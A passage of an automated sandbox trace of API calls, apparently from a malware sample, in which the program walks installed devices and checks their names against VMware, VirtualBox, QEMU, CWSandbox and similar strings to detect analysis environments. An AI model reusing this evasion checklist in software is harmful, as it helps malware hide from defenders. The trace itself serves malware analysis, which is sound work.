Flags=0x8, Size=0xa) returned 0x26efa38 [0282.240] StrStrIA (lpFirst="??? PnP ????", lpSrch="VBoxGuest") returned 0x0 [0282.240] lstrlenA (lpString="VBoxGuest") returned 9 [0282.240] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0282.240] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0282.240] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.241] GetLastError () returned 0x7a [0282.241] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efaf8 [0282.241] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efaf8, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efaf8, RequiredSize=0x19fe7c) returned 1 [0282.241] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8d8 [0282.241] StrStrIA (lpFirst="monitor", lpSrch="vmxnet") returned 0x0 [0282.241] lstrlenA (lpString="vmxnet") returned 6 [0282.242] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8d8 | out: hHeap=0x2670000) returned 1 [0282.242] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8e8 [0282.242] StrStrIA (lpFirst="monitor", lpSrch="vmscsi") returned 0x0 [0282.242] lstrlenA (lpString="vmscsi") returned 6 [0282.242] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8e8 | out: hHeap=0x2670000) returned 1 [0282.242] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef818 [0282.242] StrStrIA (lpFirst="monitor", lpSrch="VMAUDIO") returned 0x0 [0282.242] lstrlenA (lpString="VMAUDIO") returned 7 [0282.242] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef818 | out: hHeap=0x2670000) returned 1 [0282.242] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef818 [0282.242] StrStrIA (lpFirst="monitor", lpSrch="vmdebug") returned 0x0 [0282.242] lstrlenA (lpString="vmdebug") returned 7 [0282.242] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef818 | out: hHeap=0x2670000) returned 1 [0282.242] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8c8 [0282.242] StrStrIA (lpFirst="monitor", lpSrch="vm3dmp") returned 0x0 [0282.242] lstrlenA (lpString="vm3dmp") returned 6 [0282.242] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0282.242] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa38 [0282.242] StrStrIA (lpFirst="monitor", lpSrch="vmrawdsk") returned 0x0 [0282.242] lstrlenA (lpString="vmrawdsk") returned 8 [0282.242] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0282.242] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb10 [0282.243] StrStrIA (lpFirst="monitor", lpSrch="vmx_svga") returned 0x0 [0282.243] lstrlenA (lpString="vmx_svga") returned 8 [0282.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0282.243] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef868 [0282.243] StrStrIA (lpFirst="monitor", lpSrch="ansfltr") returned 0x0 [0282.243] lstrlenA (lpString="ansfltr") returned 7 [0282.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef868 | out: hHeap=0x2670000) returned 1 [0282.243] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef868 [0282.243] StrStrIA (lpFirst="monitor", lpSrch="sbtisht") returned 0x0 [0282.243] lstrlenA (lpString="sbtisht") returned 7 [0282.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef868 | out: hHeap=0x2670000) returned 1 [0282.243] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0282.243] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x35, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0282.243] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.366] GetLastError () returned 0x7a [0282.366] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x50) returned 0x26ef908 [0282.366] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x28, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0282.372] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa38 [0282.372] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VMware Pointing") returned 0x0 [0282.372] lstrlenA (lpString="VMware Pointing") returned 15 [0282.372] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0282.372] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef960 [0282.372] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VMware Accelerated") returned 0x0 [0282.372] lstrlenA (lpString="VMware Accelerated") returned 18 [0282.372] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef960 | out: hHeap=0x2670000) returned 1 [0282.372] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa68 [0282.372] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VMware SCSI") returned 0x0 [0282.372] lstrlenA (lpString="VMware SCSI") returned 11 [0282.373] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0282.373] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efae0 [0282.373] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VMware SVGA") returned 0x0 [0282.373] lstrlenA (lpString="VMware SVGA") returned 11 [0282.373] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0282.373] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efba0 [0282.373] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VMware Replay") returned 0x0 [0282.373] lstrlenA (lpString="VMware Replay") returned 13 [0282.373] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0282.373] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef960 [0282.373] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VMware server memory") returned 0x0 [0282.373] lstrlenA (lpString="VMware server memory") returned 20 [0282.373] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef960 | out: hHeap=0x2670000) returned 1 [0282.373] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efba0 [0282.373] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="CWSandbox") returned 0x0 [0282.373] lstrlenA (lpString="CWSandbox") returned 9 [0282.373] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0282.373] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efae0 [0282.373] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="Virtual HD") returned 0x0 [0282.373] lstrlenA (lpString="Virtual HD") returned 10 [0282.373] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0282.373] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef818 [0282.373] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="QEMU") returned 0x0 [0282.373] lstrlenA (lpString="QEMU") returned 4 [0282.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef818 | out: hHeap=0x2670000) returned 1 [0282.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb88 [0282.374] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="Red Hat VirtIO") returned 0x0 [0282.374] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0282.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0282.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa38 [0282.374] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="srootkit") returned 0x0 [0282.374] lstrlenA (lpString="srootkit") returned 8 [0282.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0282.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb10 [0282.374] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VMware VMaudio") returned 0x0 [0282.374] lstrlenA (lpString="VMware VMaudio") returned 14 [0282.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0282.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb28 [0282.374] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VMware Vista") returned 0x0 [0282.374] lstrlenA (lpString="VMware Vista") returned 12 [0282.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0282.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb28 [0282.374] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VBoxVideo") returned 0x0 [0282.374] lstrlenA (lpString="VBoxVideo") returned 9 [0282.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0282.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa68 [0282.374] StrStrIA (lpFirst="Microsoft System Management BIOS Driver", lpSrch="VBoxGuest") returned 0x0 [0282.374] lstrlenA (lpString="VBoxGuest") returned 9 [0282.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0282.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0282.374] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.375] GetLastError () returned 0x7a [0282.375] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef908 [0282.375] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0282.375] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef798 [0282.375] StrStrIA (lpFirst="mssmbios", lpSrch="vmxnet") returned 0x0 [0282.375] lstrlenA (lpString="vmxnet") returned 6 [0282.375] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef798 | out: hHeap=0x2670000) returned 1 [0282.375] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef748 [0282.375] StrStrIA (lpFirst="mssmbios", lpSrch="vmscsi") returned 0x0 [0282.375] lstrlenA (lpString="vmscsi") returned 6 [0282.375] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef748 | out: hHeap=0x2670000) returned 1 [0282.375] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef858 [0282.375] StrStrIA (lpFirst="mssmbios", lpSrch="VMAUDIO") returned 0x0 [0282.375] lstrlenA (lpString="VMAUDIO") returned 7 [0282.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef858 | out: hHeap=0x2670000) returned 1 [0282.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef818 [0282.376] StrStrIA (lpFirst="mssmbios", lpSrch="vmdebug") returned 0x0 [0282.376] lstrlenA (lpString="vmdebug") returned 7 [0282.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef818 | out: hHeap=0x2670000) returned 1 [0282.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef758 [0282.376] StrStrIA (lpFirst="mssmbios", lpSrch="vm3dmp") returned 0x0 [0282.376] lstrlenA (lpString="vm3dmp") returned 6 [0282.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef758 | out: hHeap=0x2670000) returned 1 [0282.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb40 [0282.376] StrStrIA (lpFirst="mssmbios", lpSrch="vmrawdsk") returned 0x0 [0282.376] lstrlenA (lpString="vmrawdsk") returned 8 [0282.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0282.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efae0 [0282.376] StrStrIA (lpFirst="mssmbios", lpSrch="vmx_svga") returned 0x0 [0282.376] lstrlenA (lpString="vmx_svga") returned 8 [0282.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0282.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8c8 [0282.376] StrStrIA (lpFirst="mssmbios", lpSrch="ansfltr") returned 0x0 [0282.376] lstrlenA (lpString="ansfltr") returned 7 [0282.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0282.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef858 [0282.376] StrStrIA (lpFirst="mssmbios", lpSrch="sbtisht") returned 0x0 [0282.376] lstrlenA (lpString="sbtisht") returned 7 [0282.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef858 | out: hHeap=0x2670000) returned 1 [0282.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0282.377] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x36, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0282.377] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.382] GetLastError () returned 0x7a [0282.382] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x36) returned 0x26ef908 [0282.382] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x1b, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0282.388] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb88 [0282.388] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VMware Pointing") returned 0x0 [0282.388] lstrlenA (lpString="VMware Pointing") returned 15 [0282.388] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0282.388] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef948 [0282.388] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VMware Accelerated") returned 0x0 [0282.388] lstrlenA (lpString="VMware Accelerated") returned 18 [0282.388] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0282.388] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb58 [0282.388] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VMware SCSI") returned 0x0 [0282.388] lstrlenA (lpString="VMware SCSI") returned 11 [0282.388] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0282.388] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa50 [0282.388] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VMware SVGA") returned 0x0 [0282.388] lstrlenA (lpString="VMware SVGA") returned 11 [0282.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0282.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa08 [0282.389] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VMware Replay") returned 0x0 [0282.389] lstrlenA (lpString="VMware Replay") returned 13 [0282.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0282.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef948 [0282.389] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VMware server memory") returned 0x0 [0282.389] lstrlenA (lpString="VMware server memory") returned 20 [0282.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0282.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb28 [0282.389] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="CWSandbox") returned 0x0 [0282.389] lstrlenA (lpString="CWSandbox") returned 9 [0282.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0282.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efae0 [0282.389] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="Virtual HD") returned 0x0 [0282.389] lstrlenA (lpString="Virtual HD") returned 10 [0282.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0282.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef758 [0282.389] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="QEMU") returned 0x0 [0282.389] lstrlenA (lpString="QEMU") returned 4 [0282.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef758 | out: hHeap=0x2670000) returned 1 [0282.389] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb40 [0282.389] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0282.389] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0282.389] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0282.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efae0 [0282.390] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="srootkit") returned 0x0 [0282.390] lstrlenA (lpString="srootkit") returned 8 [0282.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0282.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb88 [0282.390] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VMware VMaudio") returned 0x0 [0282.390] lstrlenA (lpString="VMware VMaudio") returned 14 [0282.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0282.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb10 [0282.390] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VMware Vista") returned 0x0 [0282.390] lstrlenA (lpString="VMware Vista") returned 12 [0282.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0282.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efaf8 [0282.390] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VBoxVideo") returned 0x0 [0282.390] lstrlenA (lpString="VBoxVideo") returned 9 [0282.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0282.390] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0282.390] StrStrIA (lpFirst="??? ??? ??? ?????? ???????", lpSrch="VBoxGuest") returned 0x0 [0282.390] lstrlenA (lpString="VBoxGuest") returned 9 [0282.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0282.390] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0282.390] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.391] GetLastError () returned 0x7a [0282.391] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb40 [0282.391] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb40, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb40, RequiredSize=0x19fe7c) returned 1 [0282.391] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef888 [0282.391] StrStrIA (lpFirst="swenum", lpSrch="vmxnet") returned 0x0 [0282.391] lstrlenA (lpString="vmxnet") returned 6 [0282.391] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef888 | out: hHeap=0x2670000) returned 1 [0282.391] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef898 [0282.391] StrStrIA (lpFirst="swenum", lpSrch="vmscsi") returned 0x0 [0282.391] lstrlenA (lpString="vmscsi") returned 6 [0282.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0282.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7f8 [0282.392] StrStrIA (lpFirst="swenum", lpSrch="VMAUDIO") returned 0x0 [0282.392] lstrlenA (lpString="VMAUDIO") returned 7 [0282.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0282.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7f8 [0282.392] StrStrIA (lpFirst="swenum", lpSrch="vmdebug") returned 0x0 [0282.392] lstrlenA (lpString="vmdebug") returned 7 [0282.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0282.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef868 [0282.392] StrStrIA (lpFirst="swenum", lpSrch="vm3dmp") returned 0x0 [0282.392] lstrlenA (lpString="vm3dmp") returned 6 [0282.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef868 | out: hHeap=0x2670000) returned 1 [0282.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa08 [0282.392] StrStrIA (lpFirst="swenum", lpSrch="vmrawdsk") returned 0x0 [0282.392] lstrlenA (lpString="vmrawdsk") returned 8 [0282.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0282.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa08 [0282.392] StrStrIA (lpFirst="swenum", lpSrch="vmx_svga") returned 0x0 [0282.392] lstrlenA (lpString="vmx_svga") returned 8 [0282.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0282.392] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef728 [0282.392] StrStrIA (lpFirst="swenum", lpSrch="ansfltr") returned 0x0 [0282.392] lstrlenA (lpString="ansfltr") returned 7 [0282.392] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0282.393] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7e8 [0282.393] StrStrIA (lpFirst="swenum", lpSrch="sbtisht") returned 0x0 [0282.393] lstrlenA (lpString="sbtisht") returned 7 [0282.393] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7e8 | out: hHeap=0x2670000) returned 1 [0282.393] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0282.393] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x37, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0282.393] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0282.482] GetLastError () returned 0x7a [0282.482] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x36) returned 0x26ef908 [0282.482] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x1b, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0282.557] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa68 [0282.557] StrStrIA (lpFirst="High Definition Audio ????", 